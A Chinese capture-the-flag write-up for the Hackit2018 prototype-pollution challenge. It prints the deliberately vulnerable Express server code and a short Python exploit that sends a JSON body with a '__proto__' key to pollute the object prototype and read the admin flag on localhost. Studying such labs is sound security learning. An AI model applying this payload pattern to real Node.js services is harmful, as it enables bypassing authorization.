当前位置: 首页 > news >正文

【安全】原型链污染 - Hackit2018

目录

准备工作

解题

代码审计

Payload


准备工作

        将这道题所需依赖模块都安装好后

         运行一下,然后可以试着访问一下,报错是因为里面没内容而已,不影响,准备工作就做好了

解题

代码审计

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for nowvar matrix = [];
for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
}function draw(mat) {var count = 0;for (var i = 0; i < 3; i++){for (var j = 0; j < 3; j++){if (matrix[i][j] !== null){count += 1;}}}return count === 9;
}app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);app.get('/', (req, res) => {for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];}res.render('index');
})app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}    
}
)app.post('/api', (req, res) => {var client = req.body;var winner = null;if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}matrix[client.row][client.col] = client.data;for(var i = 0; i < 3; i++){if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){if (matrix[i][0] === 'X') {winner = 1;}else if(matrix[i][0] === 'O') {winner = 2;}}if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){if (matrix[0][i] === 'X') {winner = 1;}else if(matrix[0][i] === 'O') {winner = 2;}}}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){winner = 1;}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){winner = 2;} if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){winner = 1;}if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){winner = 2;}if (draw(matrix) && winner === null){res.send(JSON.stringify({winner: 0}))}else if (winner !== null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}})
app.listen(3000, () => {console.log('app listening on port 3000!')
})
关键代码   if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} 
可以看到flag就在这个if里面,想要进来就需要请求的query.querytoken等于md5编码后的user.admintoken
但是纵观全文,根本就没有admintoken这个值,所以就需要我们原型链污染一下

 解题关键就在这里,将请求体里面的row,col,data都是我们post传进去的可控的

Payload

 

import requests
import json
url1 = "http://127.0.0.1:3000/api"
url2 = "http://127.0.0.1:3000/admin?querytoken=c6393918b7bfdb774faa34d75e56c4cd"headers = {"Content-Type" : "application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"oogalxy"}res1 = requests.post(url1,headers = headers,data = json.dumps(data1))
res2 = requests.get(url2)print(res2.text)
说明:/api和/admin进的地方不一样headers是为了能让服务器读懂json格式
把data转成json格式,要不然__proto__不是属性

 这个比之前那个简单一些,只是我想拿burpsuite复现遇到了点阻碍,回去研究一下

http://www.lryc.cn/news/142904.html

相关文章:

  • net.ipv4.ip_forward=0导致docker容器无法与外部通信
  • 软考高级系统架构设计师系列论文九十八:论软件开发平台的选择与应用
  • Springboot整合WebFlux
  • uniapp 实现地图距离计算
  • 破除“中台化”误区,两大新原则考核中后台
  • 基于YOLOV8模型和Kitti数据集的人工智能驾驶目标检测系统(PyTorch+Pyside6+YOLOv8模型)
  • 基于Android的课程教学互动系统 微信小程序uniapp
  • OpenCV基础知识(9)— 视频处理(读取并显示摄像头视频、播放视频文件、保存视频文件等)
  • PostgreSQL命令行工具psql常用命令
  • 【CSS 画个梯形】
  • Spring Data Redis
  • 软件测试的方法有哪些?
  • Python Qt学习(二)Qt Designer
  • 我的数据上传类操作(以webDAV为例)
  • move与函数指针的简单使用
  • 第五章 树与二叉树 二、二叉树的定义和常考考点
  • 算法笔记/USACO Guide GOLD金组DP 1. Introduction to DP
  • 天锐绿盾安全U盘系统
  • 灰色预测模型
  • Yolo系列-yolov1
  • 单片机TVS/ESD二极管防护
  • TCP协议的重点知识点
  • 大数据——一文熟悉HBase
  • 如何有效进行RLHF的数据标注?
  • 2023年8月22日OpenAI推出了革命性更新:ChatGPT-3.5 Turbo微调和API更新,为您的业务量身打造AI模型
  • windows配置wsl,Unbuntu启动GPU加速
  • Postman测WebSocket接口
  • 【内网穿透】搭建我的世界Java版服务器,公网远程联机
  • Unable to Locate package python2| Linux Ubuntu系统下python2的安装
  • 从上帝视角俯瞰vue2路由(简单易懂)